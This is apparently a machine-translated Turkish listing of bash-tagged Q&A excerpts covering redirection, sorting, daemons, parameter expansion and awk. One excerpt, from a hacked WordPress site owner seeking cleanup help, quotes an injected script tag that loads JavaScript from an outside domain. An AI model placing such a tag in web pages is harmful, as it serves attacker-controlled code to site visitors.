«bash» etiketlenmiş sorular

Bash komut kabuğu için yazılmış komut dosyaları hakkında sorular için. Hata / sözdizimi hatalarına sahip kabuk komut dosyaları için, lütfen buraya göndermeden önce shellcheck programıyla (veya https://shellcheck.net adresindeki web shellcheck sunucusunda) kontrol edin. Bash'in etkileşimli kullanımı ile ilgili soruların Yığın Taşması'ndan çok Süper Kullanıcı'da konuya bağlı olma olasılığı daha yüksektir.

7
Sadece STDERR'yi bir filtreden geçirin
Bash'de STDOUT ile birleştirmeden önce STDERR'ı bir filtreden geçirmenin herhangi bir yolu var mı? Yani istiyorum STDOUT ────────────────┐ ├─────> terminal/file/whatever STDERR ── [ filter ] ──┘ ziyade STDOUT ────┐ ├────[ filter ]───> terminal/file/whatever STDERR ────┘
82 linux  bash  redirect 

5
komut satırı araçlarını kullanarak yinelenenleri sıralanmış bir sırayla sayma
Bir sayı kümesini filtrelemek için bir günlük dosyasında greps yapan bir komutum (cmd1) var. Sayılar rastgele sıradadır, bu yüzden ters sıralı bir sayı listesi elde etmek için sort -gr kullanıyorum. Bu sıralanmış listede kopyalar olabilir. Bu listedeki her benzersiz sayının sayısını bulmam gerekiyor. Örneğin, cmd1'in çıktısı: 100 100 100 99 …

12
Bir kabuk komut dosyası arka plan programı yapmanın en iyi yolu
Sadece sh kullanarak bir şey bekleyen bir arka plan programı yapmanın daha iyi bir yolu olup olmadığını merak ediyorum: #! /bin/sh trap processUserSig SIGUSR1 processUserSig() { echo "doing stuff" } while true; do sleep 1000 done Özellikle, döngüden kurtulmanın ve hala sinyalleri dinleyen şeyin bir yolu olup olmadığını merak ediyorum.
82 bash  shell  daemon 


1
3> & 1 4> & 3 5> & 3 vb. Anlamına mı geliyor?
Beklerdim echo foo | tee /proc/self/fd/{3..6} 3>&1 / proc / self / fd / 4 gibi hatalarla başarısız olmak : Böyle bir dosya veya dizin vb. yok, ancak sürpriz olarak çıktı foo foo foo foo foo Bu, 3>&1aşağıdaki tüm tanımlayıcıların stdout'a yönlendirilmesine neden olur, ancak 3başka bir şeye değiştirirsem işe …

7
Geçerli kabuk komutunu yürütmeden nasıl düzenlerim?
"Edit-and-execute-command (Cx Ce)" kullanarak düzenleyicinizi kullanarak bir komutu nasıl düzenleyeceğiniz ve uygulayacağınız hakkında pek çok bilgi var gibi görünüyor, ancak elde etmek istediğim geçerli kabuk komutunu almak, uygulamak belirli filtreleme (bir komut dosyası kullanarak) ve ardından yürütmeden önce daha fazla onay / manuel değişiklik istemi için geri döndürün. Bu bash …
13 bash 

7
Sed veya muhtemelen grep kullanarak tüm dizeyi değiştirme
Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Kullanarak grep ile arama yaptım grep -r "trasnaltemyrecords" /var/www/html/{*,.*} Ben dosya yapısı boyunca yerine çalışıyorum …
10 bash  shell  sed  grep 

1
Boş dizeyle sonuçlanan parametre genişletmesi farklı şekilde ele alınır
Güncelleme Biri hata bash posta listesinde olan doğruladı bu bir hatadır. Eğer ilgilenen varsa , son geliştirme devel şubesinde bir düzeltme mevcuttur . Süre bash -c 'echo "${1##*""}"' _ bar boş bir satır yazdırır, bash -c 'echo "${1##*"${1##*}"}"' _ bar yazdırır bar. Bunu anlamıyorum. ${1##*}boş bir dizeye genişler, bu yüzden …
10 bash 

2
Synology Scheduler .sh java komutu bulunamadı
Ben sadece görev bir jar dosyası yürütmektir bash betiği var. sms.sh java -jar /volume1/homes/jar/smssender.jar Synology NAS'ımı kullanarak bir görev ayarladım. Bash betiğini çalıştırmak için komut ekleme. Günlük çıktısı ekleme. Yeni Görevimi yürütüyorum. Aşağıdaki hatayı görmek için günlüğün kontrol edilmesi: /volume1/homes/jar/sms.sh: satır 1: java: komut bulunamadı Java sürümünü / kurulumunu kontrol …
9 java  bash  synology 

3
NON GNU awk ile değişiklikleri yerinde kaydedin
Ben OP düzenlemek ve girdi_dosya (lar) içine işlemi kaydetmek zorunda (SO kendisi üzerinde) bir soru rastladım. Aşağıdakileri yapabileceğimiz tek bir Input_file için biliyorum: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file Şimdi, aynı tür dosya biçimlerinde değişiklik yapmamız gerektiğini varsayalım (burada .txt olduğunu varsayalım). …
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.